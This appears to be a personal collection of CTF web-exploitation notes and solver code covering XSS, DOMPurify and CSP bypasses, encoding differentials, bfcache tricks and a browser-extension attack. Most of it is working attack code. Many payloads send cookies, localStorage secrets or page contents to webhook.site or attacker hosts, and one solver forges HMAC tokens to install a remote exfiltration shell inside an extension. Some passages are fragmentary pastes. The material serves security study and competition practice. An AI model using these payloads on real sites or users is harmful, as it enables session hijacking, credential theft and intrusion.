filename = 'hoge..x+[location=`WEBHOOK?`+document[`cookie`]]+"+`<form id=hoge><form id=hoge name=x2><input name=x value=clobbered><a id=assets><a id=images>`+'
content = open("example.png", "rb").read() + os.urandom(8)
image_id = md5(content).hexdigest()
files = {
'image': (filename, content, "image/png")
}
res = requests.post(f"{url}/image", files = files)
print(image_id)
# report image/{image_id} to trigger xss
if in puppeter localstorage is executed before and will be deleted on page load, we can get it using iframe
await page.goto('<http://web>',{ waitUntil: 'domcontentloaded', timeout: 2000 });
await page.evaluate(flag => localStorage.setItem('secret', flag), flag);
await page.close()
page = await browser.newPage();
await page.goto(url,{ waitUntil: 'domcontentloaded', timeout: 2000 })
<body>
<script>
const TARGET_BASE_URL = "<http://web>";
// const TARGET_BASE_URL = "<http://localhost:8000>";
const HOOK_URL = "<https://webhook.site/xxx>";
const elm = document.createElement("iframe");
elm.src = `${TARGET_BASE_URL}?p=${encodeURIComponent(`
const w = open("${TARGET_BASE_URL}");
const flag = w.localStorage.getItem("secret");
location = "${HOOK_URL}?q=" + flag;
`)}`;
document.body.appendChild(elm);
</script>
</body>
reference: because it's partitioned so first it will not remove the secret https://developer.mozilla.org/en-US/docs/Web/Privacy/State_Partitioning#static_partitioning
Shadow Element leak
asis ctf 2023 finals : Sayeha you can leak shadow element using something like this
it's only work if we can embed an iframe inside the shadow element
html=<iframe name='x'></iframe>&p=location='<http://webhook/?'+open>('', 'x').frameElement.parentElement.firstChild.data
reference https://github.com/whatwg/html/issues/763
saheya (both):
- emojis that don't fit in u16 won't be found by the loop since it would be searching for partial codepoints
- put an emoji somewhere you can find (given the whole emoji) that doesn't show up in innerText
- we used `<details contenteditable><summary></summary>🫠</details>`
- then use `document.execCommand("insertHTML")` (like in old channel writeup) to inject custom html into the shadow dom
- problem! we cannot access the shadow dom from the outside no matter what we do, right? (and csp prevents xss in there)
- solution: shadow dom can access custom elements defined in an outside context, and you can access the element in `connectedCallback`
something about shadow element
https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md
Bypass refferer waf
we can bypass referer in iframe using
<iframe referrerpolicy="no-referrer"
DOMPurify bypass via utf-8 to ascii format
there's special case where output of dompurify will be formated to ascii.
// A place for us to run tests without affecting prod letters!
// Currently testing:
// - Rich text via HTML with DOMPurify for safety
// - Base64 encoding
app.get("/setTestLetter", async function (req, res) {
try {
const { msg } = req.query;
if (!msg) {
return res.status(400).send("Missing msg parameter");
}
// We are testing rich text for the love letters! Best be safe!
const cleanMsg = DOMPurify.sanitize(msg);
const letter = await DebugLetters.create({
letterValue: Buffer.from(cleanMsg).toString('base64')
});
return res.redirect(`/readTestLetter/${letter.letterId}`);
} catch (err) {
console.error(err);
return res.status(500).send("An error occurred");
}
});
app.get("/readTestLetter/:uuid", async function (req, res) {
try {
const { uuid } = req.params;
if (!uuid) {
return res.status(400).send("Missing uuid in path parameter");
}
const letter = await DebugLetters.findOne({
where: { letterId: uuid }
});
if (!letter) {
return res.status(404).send("Letter not found");
}
const decodedMessage = Buffer.from(letter.letterValue, 'base64').toString('ascii');
return res.status(200).send(decodedMessage);
} catch (err) {
console.error(err);
return res.status(500).send("An error occurred");
}
});
from example above you can do something like this
import httpx
URL = "<https://api.challenge-0224.intigriti.io/>"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.Client(base_url=url)
def set_letter(s, msg):
return s.c.get("/setTestLetter", params={"msg": msg}, follow_redirects=True)
class API(BaseAPI):
...
if __name__ == "__main__":
api = API()
res = api.set_letter("\\xfcimg src=x onerror=alert(1)>")
print(res.url)
print(res.text)
\\xfcimg src=x onerror=alert(1)>
converted to
C<img src=x onerror=alert(1)>
XSS by duplicate
source stealthcopter Just a quick demo of what I was talking about with the event interception using duplicate id/class.
<html>
<head>
<script src="<https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js>"></script>
</head>
<body>
<!-- Our injected element that intercepts the clicky -->
<form>
<input id="test" type="hidden" class="hidden" onclick="alert(1)">
</form>
<!-- Real element that should handle the clicky -->
<button id="test" onclick="console.log('clicky111')">Clicky</button>
<script>
<!-- Example bit of code that will trigger an onevent call (onclick in this case) -->
$('#test').click();
</script>
</body>
</html>
The click example might be a bit contrived, but it'll also work for other onevents
i.e. if there's any javascript that handles scrolling for an element you can use onscroll. onfocus works for any focussing events. onsubmit is a good one, quite a few you can look for 🙂
Bfcache to xss
https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote
HTMX thing
solver
<div data-nice data-hx-swap-oob="beforeend:html">
<div data-hx-on::load="fetch('//webhook.site/2c21cc27-c7bb-460b-b054-82b31ff38216?'+document.cookie)">
</div>
DOMPurify Bypass Using Byte Order Mark (BOM) (OUTDATED check https://github.com/mozilla/standards-positions/issues/1199 & https://groups.google.com/a/chromium.org/g/blink-dev/c/yIgrr5YNGJ4)
GPN CTF 2024
In the program, it will only work if the input is reflected in the first two bytes.
import httpx
URL = "https://crazy-what-love-can-do--david-guetta-0854.ctf.kitctf.de"
# URL = "http://localhost:1337"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.Client(base_url=url, follow_redirects=True)
def submit(self, p):
return self.c.get("/submit", params=p)
class API(BaseAPI):
...
if __name__ == "__main__":
# GPNCTF{UN1C0D3_15_4_N34T_4TT4CK_V3CT0R}
api = API()
p = "<script>document.write(document.cookie)</script>"
# https://ctftime.org/writeup/16642
payload = "\ufffe"
for i in p:
payload += eval(f"'\\u{ord(i):02x}00'")
print(payload)
res = api.submit(payload)
print(res.url)
print(res.content.decode("utf-16be"))
related https://ctftime.org/writeup/16642
In summary, there are three common ways that a browser uses to determine the character encoding of an HTML document, ordered by priority:
charset attribute in the Content-Type header<meta> tag in the HTML documentEncoding Differentials: Why Charset Matters | Sonar (sonarsource.com)
Enabling all switch
http://localhost:8080/%1b$B%1b(B%3C/%1b(Btitle%3E%3Cimg%20src=x%20onerror=alert(1)%3E
Mutation XSS in html-react-parser
<?php
header('X-Frame-Options: DENY');
header('X-Content-Type-Options=nosniff');
header('Referrer-Policy: no-referrer');
header('Content-Type: text/html; charset=UTF-8');
if(isset($_REQUEST['source'])){
die(highlight_file('index.php'));
}
$message = isset($_REQUEST['message']) ? $_REQUEST['message'] : 'no shenanigans allowed';
$message = preg_replace("/frame/i", "🖼", $message);
$message = preg_replace("/script/i", "🐇", $message);
$message = base64_encode($message);
...
<script>
ReactDOM.createRoot(html).render(HTMLReactParser(atob("<?php echo $message; ?>")));
</script>
<link href="/css.css" rel="stylesheet">
<script crossorigin src="https://unpkg.com/react@latest/umd/react.production.min.js"></script>
<script crossorigin src="https://unpkg.com/react-dom@latest/umd/react-dom.production.min.js"></script>
<script crossorigin src="https://unpkg.com/html-react-parser@latest/dist/html-react-parser.min.js"></script>
solver
http://reaction2-1.play.hfsc.tf:8000/?message=%3Cimg%20is=%22img%22%20src=%22x%22%20onerror=%22alert(1)%22%3E
<math><style><!-- <img src=x onerror=alert(domain)> --> was intended, but multiple ways
react doesn't strip onevent tags for custom tags so <my-xss onfocus=alert(1) autofocus tabindex=1>
Some xss obfuscation
<img src=x onerror=`${x=String.fromCharCode`47`}${eval.call`${`a=localStorage.pocketbase${String.fromCharCode`95`}auth`}`}${location=`${x}${x}157.230.252.80${x}${a}`}`>
Injecting multipart form data in custom http request parser
Some postMessage + Ifram exploitation?
Some crazy iframe exploit?
Some inter domain attack
Use of onbeforeunload or window.stop() to gain race condition in browser extension
UICTF 2024 pwnypass
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form method="POST" action="/?submited">
<input name="username" type="text">
<input name="password" type="password">
</form>
<div></div>
<script>
const username = document.querySelector('input[type="text"]');
const password = document.querySelector('input[type="password"]');
const form = document.querySelector('form');
const url = new URL(window.location.href);
const params = new URLSearchParams(url.search);
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
/*
// its says its more stable
setTimeout(async() => {
username.value = `hacked`;
password.value = `hacked`;
window.onbeforeunload = async () => {
password.dispatchEvent(new Event('change'));
await sleep(300);
form.dispatchEvent(new Event('submit'));
};
await sleep(1000);
location.href = "https://pwnypass.c.hc.lc/login.php"
});
*/
setTimeout(async() => {
username.value = `hacked3`;
password.value = `hacked3`;
// wait for plugin to load
await sleep(1000)
window.location.assign("https://pwnypass.c.hc.lc/");
password.dispatchEvent(new Event('change'));
await sleep(100);
window.stop();
await sleep(300);
window.location.assign("https://pwnypass.c.hc.lc/");
form.dispatchEvent(new Event('submit'));
await sleep(100);
window.stop();
await sleep(200);
window.open("https://pwnypass.c.hc.lc/login.php");
});
</script>
</body>
</html>
Another solver
const form = document.forms[0];
form.method = "post";
form.action = "https://pwnypass.c.hc.lc";
form.dummy.value = "x".repeat(2 ** 24);
form.username.value = `"><style>@import "${ATTACKER_BASE_URL}/cssi";</style><div "`;
form.password.value = "abc";
await sleep(1000);
form.submit();
await sleep(100);
form.password.dispatchEvent(new Event("change"));
await sleep(500);
form.dispatchEvent(new Event("submit"));
Explanation about step 2 of the challenge
evaluate command. With access to the eval() in the background SW, you can use tabs APIs to open a file:// URI for the flag and executeScript to read it. 2024-07-02T05:15:00.000+08:00
tl;dr was to leak the extension frame src somehow to get a valid token/hash (multiple methods to do this - one is using this API ). With a valid token/hash, you can use hash length extension to forge an evaluate command. With access to the eval() in the background SW, you can use tabs APIs to open a file:// URI for the flag and executeScript to read it. 2024-07-02T05:15:00.000+08:00
Explanation about technique number 1
beforeunload handlers at the same time with a 500ms timeoutThe important part here is that this happens after a pending navigation entry has been set, so during a timeframe where pending_url will already point to the new host
This isn't the case when the navigation is renderer-initiated, since in this case we can just run those handlers before even asking the browser to navigate away
Which in effect means that for such navigations, a pending entry won't have been set yet
beforeunload handler which stalls for around a secondWe then trigger a page navigation by setting location.href
What happens afterwards is that either because of the nature of location.href, or because there are multiple processes (not sure on that), the renderer won't execute beforeunload handlers itself, instead sending an IPC to the browser to do so
The browser then sets a pending entry (=pending_url), and tells both JS processes to execute beforeunload handlers, waiting for both to finish before moving on
You could also leak the iframe src for part2 using some performance APIs, such as https://developer.mozilla.org/en-US/docs/Web/API/Performance_API/Monitoring_bfcache_blocking_reasons
import string, logging, codecs, HashTools, threading, queue, sys
import urllib.parse as urlparse
from flask import Flask, request, redirect
SERVER_URL = "https://609bbc147b53.ngrok.app"
FLAG = ""
app = Flask(__name__)
@app.route("/stage1")
def stage1():
if not b"refresh" in request.query_string:
print()
print(f"Serving stage1 exploit to {request.remote_addr}")
return f"""
<form id="form">
<input id="name" name="username" type="text">
<input id="password" name="password" type="password" value="pwn">
</form>
<script>
if (!location.search.includes("refresh")) {{
var _form = document.getElementById("form");
var _name = document.getElementById("name");
// Load stage2 in the extension iframe
_name.value = "<meta http-equiv='refresh' content='0; url={SERVER_URL}/stage2'>";
setTimeout(() => _name.dispatchEvent(new Event("change")), 1000);
setTimeout(() => _form.dispatchEvent(new Event("submit")), 1500);
setTimeout(() => location.href += "?refresh", 2000);
}}
</script>
"""
@app.route("/stage2")
def stage2():
print(f"Serving stage2 exploit to {request.remote_addr}")
return f"""
<script>
// Since the top-level window is same-origin, we can access its `src`
// I learnt about `window.frameElement` from the CTF Discord :p
// (but to be fair, if we found the later exploit during the CTF I doubt that we wouldn't have found some other way to leak this)
setTimeout(() => location.href = "{SERVER_URL}/pwn?src=" + encodeURIComponent(window.frameElement.src), 1000);
</script>
"""
@app.route("/pwn")
def pwn():
src = urlparse.unquote(request.args.get("src"))
print(f"Exfiltrated iframe src: '{src}'")
url = urlparse.urlparse(src)
query = urlparse.parse_qs(url.query)
token, hmac = query["token"][0], query["hmac"][0]
print(f" - token = {token}")
print(f" - hmac = {hmac}")
orig_token = token
ts, tab, origin, cmd, arg1, arg2 = token.split("|")
# Abuse the fact that s2a / Uint8Array.from discards the upper bits from any character code to render the latter part of the token ineffective
# parseNumber will discard these Unicode characters following the tag ID, all while not changing the HMAC :)
def neutralize(str): return "".join(chr(ord(c) + 256) for c in str)
token = f"{ts}|{tab}" + neutralize(f"|{origin}|{cmd}|{arg1}|{arg2}")
# Now we can pull of a length-extension attack to append our own command >:)
js_payload = rf"""
// Overkill JS exfiltration shell
async function shell() {{
console.log("exfiltration shell launched!");
while (true) {{
// Fetch a URL
let resp = await fetch("{SERVER_URL}/shell/get_cmd");
if (!resp.ok) return;
let cmd = await resp.text();
if (cmd.length == 0) {{
await new Promise(reslv => setTimeout(reslv, 1000));
continue;
}}
console.log(`got command: ${{cmd}}`);
// Exfiltrate from said URL
// Accidentally got spoiled about that part from the CTF Discord :/
let tab = await new Promise(reslv => chrome.tabs.create({{ url: cmd }}, reslv));
await new Promise(resolve => setTimeout(resolve, 1000));
let res = await new Promise(reslv => chrome.tabs.executeScript(tab.id, {{ code: "document.body.innerHTML" }}, reslv));
console.log(`got result: ${{res}}`);
await fetch('{SERVER_URL}/shell/cmd_res', {{ method: 'post', body: res}});
}}
}}
shell();
"""
enc_payload = ",".join(str(ord(c)) for c in js_payload)
enc_payload = f"eval(String.fromCharCode({enc_payload}))"
ext_token, hmac = HashTools.SHA256().extension(32, orig_token.encode("ascii"), f"|{origin}|evaluate|{enc_payload}|".encode(), hmac)
token = token + "".join(chr(c) for c in ext_token[len(token):]) # ensures we have no decode errors
print(f" - forged token = {token.encode()}")
print(f" - forged hmac = {hmac}")
query["token"][0] = token
query["hmac"][0] = hmac
url = url._replace(query=urlparse.urlencode(query, doseq=True))
return redirect(urlparse.urlunparse(url))
# Overkill exfiltration shell endpoints
cmd_queue = queue.Queue()
should_read_cmd = threading.Semaphore(0)
did_ask_for_cmd = False
class CmdThread(threading.Thread):
def run(self):
while True:
should_read_cmd.acquire()
cmd_queue.put(input())
cmd_thread = CmdThread(daemon=True)
cmd_thread.start()
@app.route("/shell/get_cmd")
def shell_get_cmd():
global did_ask_for_cmd
try:
return cmd_queue.get_nowait()
except queue.Empty:
if not did_ask_for_cmd:
print(f"{request.remote_addr} > ", end="")
sys.stdout.flush()
did_ask_for_cmd = True
should_read_cmd.release()
return ""
@app.route("/shell/cmd_res", methods=["POST"])
def shell_cmd_res():
global did_ask_for_cmd
print(request.data.decode())
did_ask_for_cmd = False
return ""
logging.getLogger('werkzeug').level = logging.WARN
app.run(host="0.0.0.0", port=1337)ctf-writeups/uiuctf/2024 at main · icesfont/ctf-writeups (github.com)
You can use window.frameElement.src to leak iframe src of if iframed web
look at the solver above
Encoding Differentials
Can be used only if Content-Type not have charset and only work in firefox somehow
And only ASCII Escape Sequence and the blue one work
here’s the example challenge
https://github.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/tree/main/Web/forms
Encoding Differentials: Why Charset Matters | Sonar (sonarsource.com)
Strange Functionality in Gunicorn verison 21.3.0 SCRIPT_NAME can change basepath of script and get XSS by including our desired script
CORCTF 2024
web/iframe-note solution: here's the main part of my solution:
<!DOCTYPE html>
<html>
<body>
<script>
const TARGET = "https://iframe-note.be.ax";
const sleep = ms => new Promise(r => setTimeout(r, ms));
window.onload = async () => {
navigator.sendBeacon("https://webhook");
window.opener.location = `${TARGET}//exploit.com/ctf/corctf24/view`;
await sleep(2000);
window.opener.location = `${TARGET}/view?id=x&%5f_proto__[baseURL]=${TARGET}//exploit.com/ctf/corctf24/view%23&%5f_proto__[headers][SCRIPT_NAME]=//exploit.com/ctf/corctf24`;
await sleep(2000);
window.opener.location = "about:blank";
await sleep(500);
window.opener.history.go(-2);
await sleep(500);
window.close();
};
</script>
</body>
</html>
the idea is that since gunicorn is directly exposed (and running a slightly out of date version), we can directly send a SCRIPT_NAME header to control the base path of the application. that lets you do something funny like this:
curl https://iframe-note.be.ax////example.com/view -H "SCRIPT_NAME: //example.com"
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>iframe-note</title>
<link rel=stylesheet href="//example.com/static/marx.min.css">
</head>
<body>
<main>
<h1>iframe-note</h1>
<hr />
<h3 id="name"></h3>
<br />
<iframe id="iframe"></iframe>
<script src="//example.com/static/axios.min.js"></script>
<script src="//example.com/static/can.min.js"></script>
// ...
where you can supply the base path for the <script> tag URLs. so to exploit, you need the admin bot to visit the view page with a malicious SCRIPT_NAME header. you can do this exploiting the prototype pollution and disabling bfcache. then, you just use the iframe feature to iframe your own site and window.open your payload (since you need to control a tab and you can only report URLs on iframe-note.be.ax).
the other like uvicorn and etc is only aplicable if we can controll the env variable
Browser Plugin that using declarativeNetRequest if can be injected can lead to CSP header removal
cor.team | corCTF 2024 - corctf-challenge-dev
for corctf-challenge-dev we do something like this to inject new html element inside newly created elemen by extension. and then fire the onclick event using dispatchEvent.
func fact: we do 3 hours of debugging why the rules doesn't strip the CSP header in dev console to find out that it's work even the header is still there 🥲
<iframe src="<http://localhost:8080/challenge/94b5ae93417d>"></iframe>
<script>
const sleep = (s) => new Promise((r) => setTimeout(r, s))
document.addEventListener("DOMContentLoaded", async () => {
await sleep(1000)
const condition = document.querySelector("#condition")
const form = document.querySelector("#submit-btn")
function createRules(name, value) {
const inp1 = document.createElement("input")
inp1.name = name
inp1.value = value
condition.appendChild(inp1)
}
condition.innerHTML = ""
const STAGE_MAPPINGS = [
["priority", "1"],
["action.type", "modifyHeaders"],
["action.requestHeaders.0.header", "content-security-policy-report-only"],
["action.requestHeaders.0.operation", "remove"],
["action.responseHeaders.0.header", "Content-Security-Policy"],
["action.responseHeaders.0.operation", "remove"],
["condition.urlFilter", "*"],
["condition.initiatorDomains.0", "127.0.0.1"],
["condition.initiatorDomains.1", "0.tcp.ngrok.io"],
["condition.initiatorDomains.2", "localhost"],
["condition.resourceTypes.0", "main_frame"],
["condition.resourceTypes.1", "sub_frame"],
]
for (const i in STAGE_MAPPINGS) {
const st = STAGE_MAPPINGS[i]
createRules(st[0], st[1])
}
// Dispatch the click event
form.dispatchEvent(new Event('click'))
await sleep(2000)
location.reload()
})
</script>
note value
<script>
const w = window.open("/")
w.onload = () => {
window.location = "<https://webhook.site/33eb7cc2-9614-487b-ba3e-778b9841c6f3>" + "?" + w.document.cookie
}
</script>
f
Bypass srcdoc sandbox and csp with session history entry back forward cache
https://github.com/idekctf/idekctf-2024/tree/main/web/srcdoc-memos-revenge
solver
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>index.html</title>
</head>
<body>
<script>
const sleep = d => new Promise(r => setTimeout(r, d));
const REMOTE = "http://localhost:1337";
const LOCAL = location.origin;
// this nulls the opener while keeping in the same browsing ctx group,
// there's also much more elegant ways to do this (read history of channel)
const openNoOpener = (url, name) => {
const w = open(url, name)
w.opener = null
}
(async() => {
/*
what we are doing here is:
1. opening the flag in a new browsing ctx, but keeping the same browsing ctx group, so that we can refer to that window later;
2. opening our memo (in the same way) in a new window (so that we send lax cookies). in this window we have
- a "controller" child frame `child.html` which we use to allow us to do navigations (since we lose the opener-openee relation)
- a sandboxed (w/o allow-scripts) frame that embeds a memo with an xss payload, so this xss payload has no csp
also, we sandbox child.html with allow-top-navigation (and other flags to allow it to function normally) so we can navigate top
(this technique is taken from postviewer v2, googlectf)
*/
openNoOpener(REMOTE, "flag");
await sleep(2000);
let xss = `
xss
<iframe srcdoc="win frame<script>
window.open('${LOCAL}?'+encodeURIComponent(open('','flag').document.body.innerHTML))
<\/script>"></iframe>
`;
let html1 = `
html1
<iframe sandbox="allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-top-navigation" src="${LOCAL}/child.html"></iframe>
<iframe sandbox="allow-same-origin" src="${REMOTE}/memo?memo=${encodeURIComponent(xss)}"></iframe>
`;
openNoOpener(`${REMOTE}/memo?memo=${encodeURIComponent(html1)}`, "ok");
// await sleep(5);
})();
</script>
</body>
</html>
and
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>child.html</title>
</head>
<body>
<script>
const sleep = d => new Promise(r => setTimeout(r, d));
const REMOTE = "http://localhost:1337";
const LOCAL = location.origin;
const openNoOpener = (url, name) => {
const w = open(url, name)
w.opener = null
}
(async() => {
// wait for the frames to load (might need tweaking depending on ping to server)
await sleep(5000);
/*
now we can set another memo with an iframe w/o sandbox, navigate any ancestor window away (here, top to a blob uri)
then history.back(), and the csp is loaded from the policy container stored in the session history entry, which will mean
that the document will have no csp :)
!! also i implemented no stopping mechanism for this exploit so if you leave it running it'll open 4239402 tabs !!
*/
let nosbx = `
nosbx
<iframe></iframe>
<iframe></iframe>
`;
openNoOpener(`${REMOTE}/memo?memo=${encodeURIComponent(nosbx)}`);
await sleep(2000);
top.location = URL.createObjectURL(new Blob([`
<script>
setTimeout(() => {
history.back();
}, 500);
<\/script>
`], { type: "text/html" }));
await sleep(500);
})();
</script>
</body>
</html>
some poc
<iframe src="http://localhost:1337/" id="exploit" sandbox></iframe>
<script>
const frame = document.querySelector("#exploit");
setTimeout(async () => {
frame.removeAttribute("sandbox");
frame.setAttribute("src", "http://localhost:1338/");
}, 1000)
</script>
at
http://localhost:1338/
<script>
setTimeout(() => {
history.back();
}, 3000);
</script>
Parsing differential between streamed and non-streamed HTML parsing
htmlsandbox SEKAI CTF 2024
You may want to look for a parsing differential in streamed and non-streamed HTML parsing.content type encoding isn’t specified
Basically doing 2 encoding at the sametime is viable if
https://blog.bawolff.net/2024/09/sekaictf-2024-htmlsandbox.html
https://0xalessandro.github.io/posts/sekai/
import random
import string
chars = string.digits + string.ascii_uppercase + string.ascii_lowercase
def next():
return ''.join([random.choice(chars) for _ in range(40000)]).encode()
# we want to create a parsing differential when the HTML is loaded incrementally (streamed) vs loaded inline (all at once)
# The <meta> CSP tag should be present in the parsed HTML when it's loaded inline, but NOT present when this HTML is loaded incrementally
# we can take advantage of the fact that the sniffer will not change the encoding of an already parsed HTML chunk
# we can use ISO-2022-JP charset
html = b'<html><head>'
html += b'<!-- '+next()+b' -->'
html += b'</z \x1b$@ z="zzz \x1b(B > <meta http-equiv="Content-Security-Policy" content="default-src \'none\'">'
html += b'<!-- '+next()+b' -->'
html += b'<meta http-equiv="Content-Type" content="text/html; charset=ISO-2022-JP">'
html += b'</head><body><template shadowrootmode="closed"><script>alert(1)</script></body>'
with open('payload.html', 'wb') as f:
f.write(html)
JSConsole XSS
http://localhost/?alert(top.document.origin)
Some dompurify test case
dirty = `${`<a>`.repeat(500)}PAYLOAD${`</a>`.repeat(500)}<img>`;
expected = `${`<a>`.repeat(498)}${`</a>`.repeat(498)}<img>`;
clean = DOMPurify.sanitize(dirty);
assertContains('Test proper handling of nesting-based mXSS 1/3 - Case 3', dirty, clean, expected);
An Hard Challenge about history back exploitation
Challenges - Blue Water CTF Blue water ctf challenge
bluesocial challenge
Mini XSS gadget if
There’s different behaviour in chrome and firefox if the server return 431 request headers too large
in this example it’s using Caddy, which will return 431 if the url lenght is too large, estimate less than 20000 max limit of url character
Hack.lu CTF 2024 Workout Planner - Zimzi’s Substack
We send a request with a long URL to Firefox:
And check the origin.
Let's do the same with Chromium.
As expected, we received the same response headers.
But this page has `null` origin.
Element in another iframe isn’t instanceof current frame (iframing the sites 2 times)
Hack.lu CTF 2024 Workout Planner - Zimzi’s Substack
An `Element` is an object that represents an HTML element within a document. The `instanceof Element` check determines if a given object is a DOM element. This means it checks whether the current is an actual HTML element like a <div> or <p>.
intended workout planner
?location=https://attacker.cominstanceof Element check by iframing the site two times, then traverse out of the frame using ?top.1.document.body.innerHTML=<xss>. See why this works: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/instanceof#instanceof_and_multiple_realms/plan: <script src='/plan/cdnjs.cloudflare.com%2fajax%2flibs%2fangular.js%2f1.8.3%2fangular.min.js%23'></script>. This works because a redirect removes the path of an allowed src in CSP and all paths on the host are now allowed document.domain to opt out of SOP. this still works in Firefox but not anymore in Chrome 😄 https://developer.mozilla.org/en-US/docs/Web/API/Document/domaindocument.domain to workoutplanner.fit on your note using angular, and on the flag note opened in a popup (to have cookies) set document.domain using the URL param gadget.unintended :(: you can skip two thirds of this by sending a very long URL. Caddy will error and the CSP is gone. All three solves did this and did not experience the document.domain glory 😓
solver
Peak Web Exploitation, exploiting browser Alt-Svc + Cross Protocol Attack
hacklu flux
GymTok
?cdn=attacker.com:1337 to redirect the bot's traffic to you- Just forward the traffic to/from
gymtok.social:3444to make the browser happy - Read https://httpwg.org/specs/rfc7838.html to undertand how/why/when this works
- This gives you a MitM position where you can observe the encrypted traffic
- The app uses HTTP compression (for responses > 1024 bytes)
- In the
/upload-config?name=xxxresponse, the user-controlled input is within the compression window of the FTP credentials open()a new tab an make it request 16 different URLS/upload-config?name=admin:0/upload-config?name=admin:1- ...
- Observe the traffic and find the TLS record of the response that is slightly shorter than the others
- This is the one had the correct guess since it caused the compression to kick in
- Repeat this until you have the admin's FTP password
- The HTTP servers and the FTP server all use the same certificate
- The FTP server runs in passive mode, meaning it will open a port, establish a TLS layer upon connection, and send the requested file
- With the leaked FTP password, upload an HTTP respone containing your flag stealer payload (this can be HTTP/1 for some reason)
- Make the FTP server open a port using
RETR payload - Redirect the bot's traffic to that port
- The browser and the FTP server will establish a valid TLS layer and the browser receives the payload
XSS
Xss via "firefox 302 xss", bypass redirect make ws://
Make error in fetch
ASIS CTF Finals 2024: Author Writeups | XS-Spin Blog
First of all, is there any way to cause an error when executing the fetch?
A simple way is to access a URL containing an authority:
http://foobar@fetch-box.asisctf.com:3000XSS in markdown editor dompurify+nuxt security bypass?
Writeup My-CTF-Challenges/ASIS CTF Finals 2024/LiveMD at master · maple3142/My-CTF-Challenges
<div src="data2:<script><iframe useless='">' srcdoc='<script <a href="data2:<link>"></a>>";alert(origin);</script>'</div>
Bypass using CVE mb_strpos trick in joomla and MXSS in custom deserialization
Joomla: PHP Bug Introduces Multiple XSS Vulnerabilities - Security Boulevard
Cyberjawara national 2025
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script>
let sc = 'location=`http://webhook/pof?x=${document.cookie}`'
// sc = `alert(1)`
let l = window.open(`http://php:1234/#a`, sc)
setTimeout(() => {
l.location = `http://php:1234/#%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0nyx<template><math><mtext><table><mglyph><style></template>mare<iframe onload=${encodeURIComponent(sc)}>f`
}, 100);
</script>
</body>
</html>
%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%
F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F
0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0
%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%
F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F
0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0
%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0<template><ma
th><mi><h1><a><h2></a></h2><mglyph><svg><mi><style><a href="</style></template><iframe onload='alert(1)'>"></template>
You can gain XSS with something like this
CyberSecurityRumble 2023
from base64 import b85encode, b85decode
import string
def f(text_bytes):
base85_bytes = b85encode(text_bytes)
base85_bytes = base85_bytes.replace(b"&", b"/")
base85_bytes = base85_bytes.replace(b"%", b"")
base85 = base85_bytes.decode()
return base85
a = b85decode("<script>var{cookie}=document;location=`&&017700000001?c=`+cookie<&script><&body><&html>")
# print(a)print(f(a))
RabbitTalk multipart or urlencoded differential to stored XSS
| Event Name | RITSEC |
| GitHub URL | - |
| Challenge Name | RabbitTalk |
Attachments
References
